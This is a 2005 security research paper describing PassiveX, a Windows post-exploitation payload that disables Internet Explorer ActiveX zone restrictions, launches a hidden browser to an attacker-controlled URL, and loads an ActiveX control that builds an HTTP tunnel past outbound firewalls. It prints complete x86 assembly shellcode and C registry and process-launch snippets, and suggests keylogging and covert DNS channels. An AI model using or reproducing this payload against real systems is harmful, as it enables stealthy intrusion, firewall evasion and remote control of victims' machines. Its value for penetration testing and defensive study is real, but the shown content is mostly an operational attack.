Post-Exploitation on Windows using ActiveX Controls

skape
mmiller@hick.org

Last modified: 03/18/2005

Contents

Chapter 1

Foreword

Abstract: When exploiting software vulnerabilities it is sometimes impossible to build direct communication channels between a target machine and an attacker's machine due to restrictive outbound filters that may be in place on the target machine's network. Bypassing these filters involves creating a post-exploitation payload that is capable of masquerading as normal user traffic from within the context of a trusted process. One method of accomplishing this is to create a payload that enables ActiveX controls by modifying Internet Explorer's zone restrictions. With ActiveX controls enabled, the payload can then launch a hidden instance of Internet Explorer that is pointed at a URL with an embedded ActiveX control. The end result is the ability for an attacker to run custom code in the form of a DLL on a target machine by using a trusted process that uses one or more trusted communication protocols, such as HTTP or DNS.

Thanks: The author would like to thank H D Moore, spoonm, vlad902, thief, warlord, optyx, johnycsh, trew, jhind, and all the other people who continue to research new and interesting things for their own satisfaction and enjoyment. The author would also like to thank the Metasploit Framework mailing list for the discussion on HTTP tunneling which served as the impetus for implementing and integrating PassiveX.

The source code to the ActiveX Injection Payload and ActiveX control described in this document can be found as an update to the Metasploit Framework version 2.3 which can be downloaded from http://www.metasploit.com. PassiveX was tested with ZoneAlarm version 5.5.062.011.

Chapter 2

Introduction

The emphasis in exploit development tends to lean more towards the techniques used to successfully execute code on a target machine rather than the code, or payload, that will actually be executed once an exploit has taken advantage of a vulnerability. While such an emphasis is an obvious and warranted prerequisite, it is also just as important to identify and refine the techniques that can be used once it is possible to execute arbitrary code on a target machine. In general, most published exploits include a finite set of payloads that are themselves only capable of performing a small set of actions, such as connecting back to the attacker and providing them with a command interpreter or allowing the attacker to connect to the target machine to gain access to a command interpreter[1]. Payloads such as these are indeed quite useful but are prone to failure under conditions that cannot always be predicted by an attacker.

For instance, an attacker could be exploiting a software vulnerability in an HTTP server that only permits connections to port 80. In this case, if an attacker were to use a payload that binds to a port on the target machine, the attacker would soon find that it would be impossible to connect to the bound port, regardless of whether or not the exploit actually succeeded[2]. The same case applies to payloads that establish a connection to the attacker on an arbitrary port. If the service being attacked is on a machine that has restrictive outbound filters or has a personal firewall installed that restricts specific types of internet access for certain applications, the attacker may find it impossible to use either of the two common payloads.

With that said, the majority of computers connected to the internet do not

[1] There are other classes of post-exploitation payloads but these two are the most prominent. `findsock` style payloads are excluded from this discussion due to the fact that they are vulnerability dependent and as such not as universal as the two commonly used payloads.

[2] In some cases it is possible to rebind to the port of the service being exploited. This fact is outside of the scope of this document.

have highly restrictive outbound filters. The reason this is the case is because many home users simply plug their computer directly into the internet via their cable modem, DSL router, or phone line instead of a network firewall device. Furthermore, the level of understanding required to competently manage outbound filters is generally not something that is a strong desire or possibility for the average computer user. For the sake of discussion, however, these users will be disregarded due to the fact that currently employed payloads are sufficient to establish a communication channel between the attacker and a target machine. Instead, the focus will be put upon those machines that make use of outbound filters that are capable of preventing the two aforementioned payloads from being used.

There are three types of outbound filters that can be differentiated by the OSI layer at which they filter and by the physical location at which they reside. The first type of outbound filter is the network-based filter which operates at the network and transport layer by filtering connections based on information that is required to communicate with a host, such as the destination IP address or port of a packet. The second type of outbound filter is the application-based filter which operates at the application layer by filtering network traffic to certain destinations based on the application that is performing the network action[3]. The third type of outbound filter operates transparently at various layers of the OSI model as a type of protocol form validation, such as a transparent HTTP proxy. These three filters can be combined to create a robust and dynamic method of filtering outbound connections that, while not perfect, does indeed lend itself well to helping ensure the integrity of a network.

The reason these three outbound filters are not perfect is because of the fact that they still allow outbound communication. Though this may seem like a paradox, it is actually a real problem. Take for instance a scenario where a corporation's workstation is being exploited through a client-side chat client vulnerability. In this scenario, the corporation has configured their network firewalls to allow communication to internet addresses on port 80 only. All other outbound ports are filtered and cannot be communicated with. Given these restrictions, an attacker might simply instruct his or her payload to connect back to the attacker on port 80, thus bypassing the other outbound restrictions altogether. While this would indeed work, there are steps that the corporation could take to help prevent this approach. For instance, if the same corporation were to force all HTTP traffic through a transparent or true HTTP proxy, the attacker would be unable to simply pipe a command interpreter through a connection on port 80 since the data would not be well-formed HTTP traffic.

This is where things begin to get interesting and the inherent flaw of generic outbound filters begins to come to light. Under the aforementioned condition, a corporation has their network configured to permit outbound communication on

[3]An example of this comes in the form of ZoneAlarm's outbound filter that prompts the user when an application attempts to make a connection to determine whether or not the connection should be allowed.

port 80 only and furthermore requires all port 80 communication to pass through a transparent HTTP proxy. As such, it is a requirement that all traffic passing through port 80 to internet hosts be well-formed HTTP requests and responses, else the transparent proxy will not permit it to pass. The obvious thing for an attacker to do, then, is to tunnel or encode their communication in valid HTTP requests and responses, thus bypassing all of the restrictions that the corporation has put in place. Hope is not yet lost for the corporation, however, for they could deploy a personal firewall, such as ZoneAlarm, that is capable of doing per-application outbound filters. This would allow the corporation to make it so only a browser, such as Internet Explorer or Mozilla, is capable of connecting to internet hosts on port 80. All other applications, such as the chat client that is being exploited in this scenario, would be unable to connect to internet hosts on port 80 in the first place.

It may seem like this would be enough to stop an attacker from being able to build a communication channel between themselves and the target machine, but the fact is that it is not, and thus the inherent flaw in generic outbound filters is realized: *If a user is capable of communicating with hosts on the internet, so too is an attacker capable of doing so from the user's computer.* In this case, an attacker could simply inject code into a trusted browser process that then constructs an HTTP tunnel between the target machine and the attacker, thus bypassing both the application layer,network layer, and transparent outbound filters that the corporation has put into place.

The example of the HTTP tunnel is just one of many protocols that can be used or abused to tunnel arbitrary data through restrictive outbound filters. Other protocols that can, and have, been used in the past for arbitrary data tunneling are DNS, POP3, and SMTP. These protocols are also likely, though some of them less than others, to be ones that a corporation or a user are likely to permit both at the network layer and at the application layer. For the purpose of this paper, only the implementation of the HTTP tunnel will be discussed for it is the most likely of all others to be capable of passing transparently through outbound filters[4]. The following chapters will discuss the implementation of a payload that is capable of bypassing the scenario discussed in this introduction on the Windows platform. From there, a number of potential uses, both legitimate and otherwise, will be discussed to give a sense of severity for the problem at hand. Finally, some suggestions will be made on how payloads of this sort might be prevented from being leveraged by an attacker in the future.

[4]The second most likely, in the author's opinion, is DNS.

Chapter 3

Implementation: PassiveX

Implementing a payload that is capable of bypassing restrictive outbound filters, such as those outlined in the introduction, requires that the traffic produced by the payload be, for all intents and purposes, indistinguishable from normal user traffic. The protocol that should be used to encapsulate the attacker's arbitrary data, such as the input and output from the command interpreter, should also be one that is likely to be permitted by the various types of outbound filters, whether they be network or application based. One of the protocols capable of fulfilling both of these requirements is HTTP. By making use of HTTP requests and responses, it is possible for an attacker to create a bidirectional tunnel between the target machine and the attacker's machine that can be used to pass arbitrary data.

The way in which the tunnel can be constructed using HTTP is to create two logical channels, similar to that of a bidirectional pipe. The first channel, **Tx**, would be used to transmit data from the target machine to the attacker's machine by making use of an HTTP `POST` request. The content of the `POST` would be the data that should be handed to the attacker. The second channel, **Rx**, would be used to transmit data from the attacker's machine to the target machine. The problem is, however, that the data cannot be directly transmitted from the attacker's machine to the target machine while still staying within the parameters of well-formed HTTP traffic[1]. One way of getting around this fact would be to use a polling model whereby the target machine sends polling HTTP `GET` or `POST` requests to the attacker's machine to see if there is any data available that should be handed to the target machine's half of the tunnel. Once there is data available it can be included in the content of the HTTP response to the target machine's HTTP request. This approach is one that is commonly

[1]It is possible to make use of technology like chunked encoding, however, such technology is seen as easier to flag and detect as malicious traffic from the perspective of an outbound filter and cannot always be relied upon to work when passing through HTTP proxies.

used and employed as a tunneling mechanism[3].

The first step in the building of an HTTP tunnel between the target machine and the attacker's machine is to implement the payload that will be executed after a given exploit succeeds. There are a number of ways in which such a payload could be written with the most obvious being a payload that directly builds and maintains the bidirectional HTTP tunnel between the attacker and the target machine. While this approach may sound good in principal, it is not entirely practical. The reason for this is that the payload must be written in assembly or in a language that is capable of producing position independent code. This fact alone would make the implementation of a payload that accomplishes HTTP tunneling tedious but is in itself not necessarily enough to make it impractical. What does make it impractical, however, is the fact that implementing such a payload in a portable and position independent fashion would lead to a very large payload. The size of a payload tends to be rather important as it directly determines whether or not it can be employed under certain conditions, such as where a vulnerability only has a limited amount of room in which to store the payload that will be executed. In scenarios such as these it is preferable to have a payload that is as small as possible and yet still capable of performing the task at hand.

Even if it were possible to implement a small payload that were capable of managing the HTTP tunneling, it alone would not be enough to satisfy the requirements for the payload described in the introduction. The reason it is not enough is because such a payload would not necessarily be capable of bypassing application-based outbound filters due to the fact that the application being exploited, such as a chat client, may not itself be directly capable of communicating with hosts on the internet over port 80. Instead, it becomes necessary to run the code that performs the actual HTTP tunneling in the context of a process that is most likely trusted by the target machine, such as Internet Explorer. With this in mind it seems clear that a technique other than implementing the entire HTTP tunneling code in position independent assembly is necessary, both from a practical and functional standpoint.

An alternate technique that can be used is to implement a payload that is itself not directly responsible for managing or initializing the HTTP tunnel, but rather facilitates the execution of the code that will be responsible for doing so. It's important to note, however, that such a payload must do so in a fashion that does not require network access due to the fact that ignoring such a requirement would defeat the entire purpose of the HTTP tunneling payload that it would be trying to load. With this in mind, it becomes necessary to look towards other approaches that are capable of facilitating the execution of code that will build an HTTP tunnel between the target machine and the attacker's machine and, furthermore, will do so using a medium that is compatible with the various types of outbound filters.

As luck would have it, a solution to this problem can be found in Internet Ex-

plorer's ability to download and execute plugins. These plugins, which are more commonly known as ActiveX controls, are a means by which programmers can extend or enhance features in Internet Explorer in a generic fashion[2]. Though ActiveX controls do have merit, many computer users tend to be familiar with them not for the benefits they bring, but rather for the spyware and other malicious content that they seem to provide or be associated with. Due to this fact, it has become common practice for computer's to be configured with ActiveX support either completely disabled or conditionally permitted based on Internet Explorer's built-in zone restrictions[5].

Zone restrictions are a way in which Internet Explorer allows a user to control the level of trust that is given to various sites. For instance, sites in the `Trusted Sites` zone are considered to have the highest level of trust and are thus capable of executing ActiveX controls and other privileged content without necessarily requiring input from the user. On the other hand, the `Internet` zone represents the set of sites that exist on the internet and are not expressly trusted by the user. The `Internet` zone typically defaults to prohibiting the downloading and execution of unsigned ActiveX controls. If an ActiveX control is signed, the user will be prompted to determine whether or not they wish to allow the signer of the ActiveX control to execute code on the user's machine.

With this knowledge of Internet Explorer's zone restrictions and its built-in ability to download and execute ActiveX controls, it is possible to construct a payload that can facilitate the establishing of an HTTP tunnel between the target machine and the attacker, regardless of whether or not outbound filters exist. One way that this can be accomplished is by implementing a payload that first modifies the zone restrictions for the `Internet` zone to allow the downloading and execution of all ActiveX controls, thus allowing it to work in environments that have explicitly disabled ActiveX controls. The payload can then execute a hidden instance of Internet Explorer and direct it at a URL on the internet that is controlled by the attacker. The content of the target URL, in this scenario, would contain an embedded ActiveX control that Internet Explorer would download and run without question. As such, the code that would be responsible for building the HTTP tunnel could be implemented in the context of the ActiveX control that is downloaded, thus allowing the attacker to write the tunneling code in his or her language of choice due to the fact that ActiveX controls are language independent, so long as they conform to the necessary COM interfaces.

Before describing the implementation of the payload and the respective ActiveX control, it is first important to understand some of the negative aspects of using such an approach. One of the most obvious cons is that such a payload is capable of, in the worst case scenario, leaving a user's computer completely open to future infection by way of untrusted ActiveX controls if the zone restrictions

[2]Which, as fate would have it, just so happens to align well with this paper's intention of creating an HTTP tunnel in the context of a trusted process.

on the `Internet` zone are not restored. This can be solved by making the payload itself more robust in the way it handles the restoration of the zone restrictions, but it comes at the cost of size which isn't always something that can be conceded. Another negative aspect of this approach is that it will not function when used against a user that does not have administrative privileges on the target machine. The reason for this is that Internet Explorer is hard-coded to prevent the downloading and execution of ActiveX controls that are not already registered and installed on the target machine. Under scenarios where it is known that a limited user account is being exploited, it may be possible to modify the payload to inject a secondary payload into the context of an Internet Explorer process that then downloads and registers the control manually[3]. Regardless of the payloads deficiencies, it should nonetheless be consider a viable approach to the problem at hand.

The payload itself has two distinct stages. The first stage is the payload that the exploit will send across that will be responsible for making modifications Internet Explorer's zone restrictions and executing a hidden Internet Explorer to a URL that is controlled by the attacker. The second stage starts once the ActiveX control that was embedded in the attacker controlled URL is loaded into the hidden Internet Explorer. Once loaded, the ActiveX control can simply build an HTTP tunnel between the two machines due to the fact that it's running in the context of a process that should be trusted. This document's implementation of the payload will henceforth be referred to as PassiveX[4].

3.1 The ActiveX Injection Payload

This section will describe the implementation of the payload that an exploit will send across as the arbitrary code that is to be executed once the exploit succeeds. This code will be executed in the context of the exploited process and is what will be used to facilitate the loading of an ActiveX control inside of an instance of Internet Explorer. There are, as with all things, a number of ways to implement this payload. The following steps describe the actions that such a payload would need to perform in order to accomplish this task.

1. Find `KERNEL32.DLL` and resolve symbols

   The first step, as is true with most Windows payloads, is to locate the base address of `KERNEL32.DLL`. Determining the base address of `KERNEL32.DLL` is necessary in order to load other modules, such as `ADVAPI32.DLL`. The way that this is accomplished is to resolve the address of `kernel32!LoadLibraryA`. The technique used to locate the base of `KERNEL32.DLL` can be any one of

[3] The control would have to be able to be registered under the user-specific classes key instead of the global classes key in order to avoid permission problems.

[4] Though PassiveX has been used for other projects, it seemed only fitting to use for this one as well.

the typically employed approaches, such as PEB or TOPSTACK. For this payload, it is also necessary to resolve the address of kernel32!CreateProcessA so that the hidden Internet Explorer can be executed.

2. Load ADVAPI32.DLL and resolve symbols

   Once kernel32!LoadLibraryA has been resolved, the next step is to load ADVAPI32.DLL since it may or may not already be loaded. ADVAPI32.DLL provides the standard interface to the registry that most applications, and the payload itself, need to make use of. There are two specific functions that are needed for the payload: advapi32!RegCreateKeyA and advapi32!RegSetValueExA.

3. Open the Internet zone's registry key

   After resolving all of the necessary symbols, the next step is to open the Internet zone's registry key for writing so that the individual settings for ActiveX controls can be set to the enabled status. This is accomplished by calling advapi32!RegCreateKeyA in the following fashion:

```
HKEY Key;

RegCreateKeyA(
    HKEY_CURRENT_USER,
    "Software\Microsoft\Windows\CurrentVersion"
    "\Internet Settings\Zones\3",
    &Key);
```

   While testing this portion of the payload it was noted that Windows 2000 with Internet Explorer 5.0 does not have the necessary registry keys created under the HKEY_USERS\.DEFAULT registry key. Even if the necessary keys are created, the first time Internet Explorer is executed from within the system service leads to the internet connection wizard being displayed. This basically makes it such that the payload is only capable of working on machines that have Internet Explorer 6.0 installed (such as Windows XP and 2003 Server).

4. Modify IE's Internet zone restrictions

   Once the key has been successfully opened the zone restrictions for prohibiting ActiveX controls from being used can be changed. There are four settings that need to be toggled to ensure that ActiveX controls will be usable:

Setting Value Name	**Description**
1001	Download signed ActiveX controls
1004	Download unsigned ActiveX controls
1200	Run ActiveX controls and plugins
1201	Initialize and script ActiveX controls not marked as safe

In order to make it so ActiveX controls can be used, each of the above described settings must be changed to `Enabled`. This is done by setting each of the values to `0` by calling `advapi32!RegSetValueExA` on the opened key for each of the individual registry values. After these values are set to enabled, Internet Explorer will, by default, download and execute ActiveX controls regardless of whether or not they are signed without user interaction. The actual process of setting of a value is demonstrated below:

```
DWORD Enabled = 0;

RegSetValueEx(
    Key,
    "1001",
    0,
    REG_DWORD,
    (LPBYTE)&Enabled,
    sizeof(Enabled));
```

5. Determine the path to Internet Explorer

   With the zone restrictions modified, the next step is to determine the full path to `IEXPLORE.EXE`. The reason this is necessary is because `IEXPLORE.EXE` is not in the path by default and thus cannot be executed by name. While `shell32!ShellExecuteA` may appear like an option, it is in fact not considering the fact that the target machine may have Mozilla registered as the default web-browser. It should also not be assumed that Internet Explorer will reside on a static drive, such as the `C:` drive. Even though it may be common, there are sure to be cases where it will not be true.

   One way of working around this issue is to use a very small portion of code that determines the absolute path to internet explorer in only two assembly instructions. The code itself makes an assumption that Internet Explorer's installation will be on the same drive as the Windows system directory and that it will also be installed under its standard install directory. Barring this, however, the two instructions should result in a portable implementation between various versions of Windows NT+:

```
url:
   db "C:\progra~1\intern~1\iexplore -new http://site", 0x0

...

 fixup_ie_path:
   mov   cl, byte [0x7ffe0030]
   mov   byte [esi], cl
```

In the above code snippet, `esi` points to `url`. The static address being referenced is actually a portion of `SharedUserData` that just so happens to point to the unicode path of the system directory on the machine. By making the assumption that the drive letter that the system directory is found on will be the same as the one that Internet Explorer is found on, it is possible to copy the first byte from the system directory path to the first byte of the path to Internet Explorer on disk, thus ensuring that the drive letters are the same[5].

6. Execute a hidden Internet Explorer with a specific target URL

   Once the full path to Internet Explorer has been located, all that remains is to execute a hidden Internet Explorer with it pointed at an attacker controlled HTTP server. This is accomplished by calling `CreateProcessA` with the command line argument properly set to the full path to Internet Explorer. Furthermore, the `wShowWindow` attribute should be set to `SW_HIDE` to ensure that the Internet Explorer instance is hidden from view. This is accomplished by calling `CreateProcessA` in the following fashion:

```
PROCESS_INFORMATION pi;
STARTUPINFO si;

ZeroMemory(
    &si,
    sizeof(si));

si.cb = sizeof(si);
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = FALSE;

CreateProcessA(
    NULL,
    url, // "\path\to\iexplore.exe -new <url>"
    NULL,
    NULL,
    FALSE,
    CREATE_NEW_CONSOLE,
    NULL,
    NULL,
    &si,
    &pi);
```

   One important thing to note about this phase is that in order to get it to work properly with system services that are not able to directly interact

[5]This code has potential issues with certain locales depending on whether or not assumptions made about code paths or ASCII drive letters are safe.

with the desktop, the `si.lpDesktop` attribute must be set to something like `WinSta0\Default`.

An implementation of this approach can be found below. It is optimized for size (roughly 400 bytes, adjusted for the variable URL length), robustness, and portability. A large part of the payload's size comes from the static strings that it has to reference for opening the registry key, setting the values, and executing Internet Explorer. The size of the payload is one of its major benefits to this approach as it ends up being much smaller than other techniques that attempt to accomplish a similar goal[9].

Targets: NT/ 2000/ XP/ 2003
Size: 400 bytes + URL size

```
passivex:
   cld
   call  get_find_function
strings:
   db    "Software\Microsoft\Windows\"
   db    "CurrentVersion\Internet Settings\Zones\3", 0x0
reg_values:
   db    "1004120012011001"
url:
   db    "C:\progra~1\intern~1\iexplore -new"
   db    " http://attacker/controlled/site", 0x0
get_find_function:
   call startup
find_function:
   pushad
   mov   ebp, [esp + 0x24]
   mov   eax, [ebp + 0x3c]
   mov   edi, [ebp + eax + 0x78]
   add   edi, ebp
   mov   ecx, [edi + 0x18]
   mov   ebx, [edi + 0x20]
   add   ebx, ebp
find_function_loop:
   jecxz find_function_finished
   dec   ecx
   mov   esi, [ebx + ecx * 4]
   add   esi, ebp
   compute_hash:
   xor   eax, eax
   cdq
```

```
compute_hash_again:
   lodsb
   test  al, al
   jz    compute_hash_finished
   ror   edx, 0xd
   add   edx, eax
   jmp   compute_hash_again
compute_hash_finished:
find_function_compare:
   cmp   edx, [esp + 0x28]
   jnz   find_function_loop
   mov   ebx, [edi + 0x24]
   add   ebx, ebp
   mov   cx, [ebx + 2 * ecx]
   mov   ebx, [edi + 0x1c]
   add   ebx, ebp
   mov   eax, [ebx + 4 * ecx]
   add   eax, ebp
   mov   [esp + 0x1c], eax
find_function_finished:
   popad
   retn 8
startup:
   pop   edi
   pop   ebx
find_kernel32:
   xor   edx, edx
   mov   eax, [fs:edx+0x30]
   test  eax, eax
   js    find_kernel32_9x
find_kernel32_nt:
   mov   eax, [eax + 0x0c]
   mov   esi, [eax + 0x1c]
   lodsd
   mov   eax, [eax + 0x8]
   jmp   short find_kernel32_finished
find_kernel32_9x:
   mov   eax, [eax + 0x34]
   add   eax, byte 0x7c
   mov   eax, [eax + 0x3c]
find_kernel32_finished:
   mov   ebp, esp
find_kernel32_symbols:
   push  0x73e2d87e
   push  eax
   push  0x16b3fe72
```

```
   push  eax
   push  0xec0e4e8e
   push  eax
   call  edi
   xchg  eax, esi
   call  edi
   mov   [ebp], eax
   call  edi
   mov   [ebp + 0x4], eax
load_advapi32:
   push  edx
   push  0x32336970
   push  0x61766461
   push  esp
   call  esi
resolve_advapi32_symbols:
   push  0x02922ba9
   push  eax
   push  0x2d1c9add
   push  eax
   call  edi
   mov   [ebp + 0x8], eax
   call  edi
   xchg  eax, edi
   xchg  esi, ebx
open_key:
   push  esp
   push  esi
   push  0x80000001
   call  edi
   pop   ebx
   add   esi, byte (reg_values - strings)
   push  eax
   mov   edi, esp
set_values:
   cmp   byte [esi], 'C'
   jz    initialize_structs
   push  eax
   lodsd
   push  eax
   mov   eax, esp
   push  byte 0x4
   push  edi
   push  byte 0x4
   push  byte 0x0
   push  eax
```

```
   push  ebx
   call  [ebp + 0x8]
   jmp   set_values
fixup_drive_letter:
   mov   cl, byte [0x7ffe0030]
   mov   byte [esi], cl
initialize_structs:
   push  byte 0x54
   pop   ecx
   sub   esp, ecx
   mov   edi, esp
   push  edi
   rep   stosb
   pop   edi
   mov   byte [edi], 0x44
   inc   byte [edi + 0x2c]
   inc   byte [edi + 0x2d]
execute_process:
   lea   ebx, [edi + 0x44]
   push  ebx
   push  edi
   push  eax
   push  eax
   push  byte 0x10
   push  eax
   push  eax
   push  eax
   push  esi
   push  eax
   call  [ebp]
exit_process:
   call  [ebp + 0x4]
```

3.2 HTTP Tunneling ActiveX Control

The second stage is arbitrary in that an attacker could implement an ActiveX control to do virtually anything. For instance, an ActiveX control could cause a chicken wearing pants to slide around the screen every few minutes. Though this would be patently useless, it's nonetheless an example of the types of things that can be accomplished by an ActiveX control. For the purposes of this document, however, the ActiveX control will construct a communication channel, over HTTP, between a target machine and the attacker's machine such that arbitrary data can pass between the two entities in a way that is compatible with restrictive outbound filters. Like the payload described in 3.1, there are a

number of ways to implement an ActiveX control capable of accomplishing this task. Going forward, this section requires basic knowledge of COM (*Component Object Model*)[6].

The approach taken in this document was to create an ActiveX control using ATL, short for *Active Template Library*)[6]. The purpose of the ActiveX control, as described in this chapter, is to build an HTTP tunnel between the attacker and the target machine. The ActiveX control should also be able to, either directly or indirectly, make use of the HTTP tunnel, such as by piping the input and output of a command interpreter through the HTTP tunnel.

The ActiveX control discussed in this document makes use of the HTTP tunnel by creating what has been dubbed a *local TCP abstraction*. This is basically a fancy term for using a truly streaming connection, such as a TCP connection, as an abstraction to the bidirectional HTTP tunnel. The reason this is advantageous is because it allows code to run without knowing that it is actually passing through an HTTP tunnel, hence the abstraction. This is especially important when it comes to re-using code that is natively capable of communicating over a streaming connection.

One way in which this abstraction layer can be created is by having the ActiveX control create a TCP listener on a random local port. After that, the ActiveX control can establish a connection to the listener. This creates the client half of the streaming connection which will be used to transmit data to and from the remote machine in a truly streaming fashion. After the ActiveX control establishes a connection to the local TCP listener, it must also accept the connection on behalf of the listener. The server half of the connection is what is used both to encapsulate data coming from the target machine to the attacker's machine and as the truly streaming destination for data being sent from the attacker to the target machine. Data that is written to the server half of the connection will, in turn, be read from the client half of the connection by whatever it is that's making use of the socket, such as a command interpreter. This method of TCP abstraction even works under the radar of application-based filters like Zone Alarm because the listener is bound to a local interface instead of an actual interface[7].

The ActiveX control itself is composed of a number of different files whose purposes are described below:

[6]The reason that ATL was picked over MFC was due to the fact that MFC is less portable without CAB'ing dependencies (as when dynamically linked against the MFC DLLs), or much larger (as when statically linked against the MFC libs).

[7]This was tested with Zone Alarm 5.5.062.011.

File	Description
`CPassiveX.cpp`	Coclass implementation source
`CPassiveX.h`	Coclass implementation header
`HttpTunnel.h`	HTTP tunnel management class header
`HttpTunnel.cpp`	HTTP tunnel management class source
`PassiveX.bin`	Interface registration data
`PassiveX.idl`	IPassiveX interface, coclass, and typelib definition
`PassiveX.rc`	Resource script containing version information, etc
`resource.h`	Resource identifier definitions
`PassiveX.cpp`	DLL exports and entry point implementations

The first place to start when implementing an ActiveX control is with the control's interface definition which is defined in `PassiveX.idl`. In this case, the control has its own interface defined so that it can export a few getters and setters that will allow the browser to set properties on an instance of the ActiveX control. The ActiveX control requires two primary parameters, namely the attacker's remote host and port, in order to construct the HTTP tunnel. Furthermore, it may also be necessary to instruct the ActiveX control that it should download more custom code to execute once the control has been initialized, such as a second stage payload that would make use of the established HTTP tunnel. Parameters are typically passed using the HTML `PARAM` tag in the context of an `OBJECT` tag.

The three parameters that the ActiveX control in this document supports are:

Property	Description
`HttpHost`	The DNS or IP address of the attacker controlled machine
`HttpPort`	The port, most likely 80, that the attacker is listening on
`DownloadSecondStage`	A boolean value which indicates whether or not a second stage should be downloaded

The getters and setters for these three properties are provided through the control's `IPassiveX` interface which is defined in the `PassiveX.idl` file. The coclass, defined as `CPassiveX` in `CPassiveX.h`, uses the `IPassiveX` interface as its default interface. Aside from the default interface, the ActiveX control must also inherit from and implement a number of other interfaces in order to make it possible for the ActiveX control to be loaded in Internet Explorer[8].

Once the ActiveX control's interface and coclass have been sufficiently implemented to allow an instance to load in the context of Internet Explorer, the next step becomes the constructing of the HTTP tunnel. One of the easiest ways

[8]Reference code can be found in the Metaploit Framework.

to implement this portion of the ActiveX control is to make use of Microsoft's `Windows Internet API`, or WinINet for short. The purpose of WinINet is to provide applications with an abstract interface to protocols such as Gopher, FTP, and HTTP[7]. One of the major benefits to using this API is that it will make use of the same settings that Internet Explorer uses as far as proxying and zone restrictions are concerned. This means that if a user normally has to send their HTTP traffic through a proxy and has configured Internet Explorer to do so, any application that uses WinINet will be able to share the same settings[9]. The actual API routines that are necessary to build an HTTP tunnel using WinINet are described below:

WinINet Function	**Purpose**
`InternetOpen`	Initializes the use of the other WinINet functions
`InternetConnect`	Opens a connection to a host for a given service
`InternetSetOption`	Allows for setting options on the connection, such as request timeout
`HttpOpenRequest`	Opens a request handle that is associated with a specific request
`HttpSendRequest`	Transmits an HTTP request to the target host
`InternetReadFile`	Reads response data after a request has been sent
`HttpQueryInfo`	Allows for querying information about an HTTP response, such as status code
`InternetCloseHandle`	Closes a WinINet handles

The above described functions can be used to create a logical HTTP tunnel that conforms to the HTTP protocol, appears like a normal web-browser, and uses any pre-configured internet settings. The basic steps necessary to make this happen are described below:

1. Initialize WinINet with InternetOpen

   In order to make it possible to use the facilities provided by the `Windows Internet API`, it is first necessary to call `wininet!InternetOpenA`. The handle returned from a successful call to `wininet!InternetOpenA` is required to be passed as context to a number of other routines.

2. Create the send and receive threads

   Since there are two distinct channels by which data is transmitted and received through the HTTP tunnel, it is necessary to create two threads for handling both the send and the receive data. The reason these two channels cannot be processed in the same thread efficiently is because one half, the local TCP abstraction half, uses Windows Sockets, whereas the second half, where data is read in from the contents of HTTP responses

[9]The API also allows the programmer to explicitly ignore the pre-cached settings if so desired.

between the target machine and the attacker machine, uses the Windows Internet API. The handles used by the two APIs cannot be waited on by a common routine. This fact makes it more efficient to give each portion of the communication its own thread so that they can use the native API routines to poll for new data.

3. Poll the server side of the TCP abstraction in the send thread

   In order to check for data being sent from the target machine to the attacker's machine, it is necessary to poll the server side of the TCP abstraction. This can be accomplished by calling `ws2_32!select` on an `fd_set` that contains the server half of the connection that was established to the local TCP listener. When `ws2_32!select` returns one it indicates that there is data of some form available for processing, whether it be actual data to be read from the socket or an indication that the socket has closed. When this occurs a call to `ws2_32!recv` can be made to read data from the socket. If zero is returned it indicates that the local connection has been terminated. Otherwise, if a value larger than zero is returned, it indicates the number of bytes actually read from the connection. The buffer that the data was read into can then be used as the body content of an HTTP `POST` request that is transmitted to the attacker. This cycle repeats itself until the local connection eventually closes, an error is encountered, or the stateless tunnel between the two endpoints is terminated.

4. Poll for data from the remote side of the of the HTTP tunnel in the receive thread

   Polling for data that is being sent from the attacker to the target machine is not as simple the other direction simply due to the fact that the polling operation must be simulated using an HTTP `GET` or `POST` request instead of using a native routine to check for new data. This approach is necessary in order to remain compliant with HTTP's request/response format. The actual implementation is as simple as an infinite loop that continually transmits an HTTP request to the attacker requesting data that should be written to the server side of the TCP abstraction. If data is present, the attacker will send an HTTP response that contains the data to be written in the body of the response. If no data is present, the attacker can either wait for data to become available or respond with no content in the response. In either case, the polling thread should repeat itself at certain intervals (or immediately if data was just indicated) for the duration of time that the stateless HTTP tunnel between the two endpoints stays up.

Beyond these simple tasks, the ActiveX control can also download and execute a second stage payload in the context of its own thread. This second stage payload could be passed the file descriptor of the client half of the TCP abstraction which would allow it to communicate with the attacker over a truly streaming socket that just so happens to be getting encapsulated and decapsulated in HTTP

requests and responses. There are also a number of other things that could be developed into the ActiveX control to make it a more robust platform from which further attacks could be mounted. These extensions will be discussed more in the next chapter.

Chapter 4

Potential Uses and Enhancements

The PassiveX payload has the ability to be used for a wide array of things regardless of whether or not an HTTP tunnel is even used. The ability for a payload to inject an untrusted ActiveX control into an Internet Explorer instance without any user interaction at all is enough to give an attacker full control over the machine without the attacker so much as typing a single command. The ways in which such a thing could be accomplished could be through the development of a robust and feature-filled ActiveX control that may or may not make use of an HTTP tunnel between the target host and the attacker. This abstract concept will be discussed alongside other more concrete uses for this technique in the sections of this chapter.

4.1 Automation with Scripting

An abstract application of this payload would be to create an ActiveX control that provides a scriptable interface to the machine that it is loaded on. This would let an attacker interface with the generic ActiveX control via JavaScript or vbscript in a manner that would allow for easy automation and control of the machine that it's loaded on. For instance, the ActiveX control could provide, via its COM interface or interfaces, a scripting-accessible API to things like the filesystem, networking, the registry, and other core components of the operating system. The primary benefit to implementing an ActiveX control that provides access to components such is these is that automated code can be written in a browser supported scripting language rather than having to modify the ActiveX control itself each time a new feature is to be added. The use of a scripting

interface can be seen as a more flexible method of interacting with a machine, though it does come at the cost of requiring the ActiveX control to expose enough of the operating system's feature set to make it useful.

4.2 Passive Information Gathering

In some situations the ActiveX control may not have enough information to create an HTTP tunnel between the target machine and the attacker. An example of information that the control would need but may not have is proxy authorization credentials. In cases such as these it would be possible for the ActiveX control to be enhanced to support keystroke logging and other forms of information gathering that would allow it to collect enough data to be able to build some sort of data channel. The ActiveX control could also be extended to make the data channel more covert by having it vary both in protocol, such as by switching to and from DNS, and in delay, such as by causing HTTP posts to be spread out in time to make them appear less suspicious.

4.3 Penetration Testing

Perhaps one of the must useful cases for the PassiveX payload is in the field of penetration testing where it's not always possible to get into a network by the most direct means. It is common practice for corporations to make use of some sort of outbound filter, whether it be network-based, application-based, intermediate, or a combination of all three. Under conditions like these, a penetration tester may find themselves capable of exploiting a vulnerability but without an ability to really take control of the machine being exploited. In cases such as these it would be useful to have a payload that is capable of constructing a tunnel over an arbitrary protocol, such as HTTP, that is able to bypass outbound filters.

